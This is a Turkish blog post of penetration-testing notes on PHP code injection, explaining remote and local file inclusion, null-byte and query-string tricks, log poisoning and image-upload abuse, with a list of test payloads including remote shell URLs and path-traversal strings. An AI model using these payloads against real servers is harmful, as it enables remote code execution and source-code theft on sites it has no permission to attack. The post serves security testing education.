30 Mayıs 2010 Pazar

18: Code Injection




  • PHP uygulamalarında en fazla exploit edilen açıklık türüdür.
  • RFI / LFI: Remote File Inclusion / Local File Inclusion.
  • Tanımı: Saldırganın hedef web uygulaması üzerine zararlı kod veya kod parçacığı eklemesidir.
  • Sunucu tarafındaki bir açıklıktır, sunucu tarafına kod eklenir.
  • PHP'de include parametresi önemli. Sonrasında gelen dosyayı bulur, çalıştırır, sonucunu yerleştirir.
  • RFI: .....?id=http://hack.com/myshell.txt. Sondaki null karakteridir. Null, satır sonu anlamına gelir. Uygulama, dosya adının sonuna ".php" koyuyorsa bile null karakteri ile satır sonlandığından bu uzantı dikkate alınmayacaktır.
  • LFI (Sunucu üzerindeki bir dosya/kod dahil etme): .....?id=../../../../../uploads/myshell.txt
    • Bu iş için önce istediğimiz dosyayı sunucuya upload etmemiz gerekir. Bunu yapabilmek için bir örneği "Yayınlanmış Zafiyet Arama Teknikleri" başlığı altında görmüştük. Komutu access.log'a gömüp bu dosyaya erişiyorduk.
  • Benzer şekilde PHP için URL sonuna "?" de konabilir; bu karakterden sonrası query string olarak algılanacaktır, dolayısıyla .php uzantısı saldırının gerçekleştirilmesinde probleme neden olmayacaktır.
  • LFI örneği: Resim upload edilen bir alanda açıklık var ve resim yerine kodumuzu içeren dosyayı upload ettik. Dosyanın yerini bulmak için upload edilmiş bir resimin özelliklerine bakabiliriz.
  • Test için: Bazı kod enjeksiyonu test parametreleri:
    • ?file=.htaccess
    • ?file=../../../../../../../../var/log/apache/error.log
    • ?file=[http|https|ftp]://websec.wordpress.com/shell.txt
    • ?file=php://filter/convert.base64-encode/resource=index.php (sayfanın base64 encoded halini döner, onu da burp vb aracından decode ederiz)
    • ?file=http://websec.wordpress.com/shell.txt%23
  • Tüm bu parametreleri tek tek denemeyeceğiz, otomatize araçlar bunu bizim için yapacak, Netsparker mesela.

Hiç yorum yok:

Yorum Gönder

Web Uygulama Sızma Testleri İçin Kontrol Listeleri - V

Checklist for Web App Pentesting - V 6. Veri Denetimi (Data Validation) Testleri 6.1 Girdi Denetimi Bütün girdiler denetlenmelidir....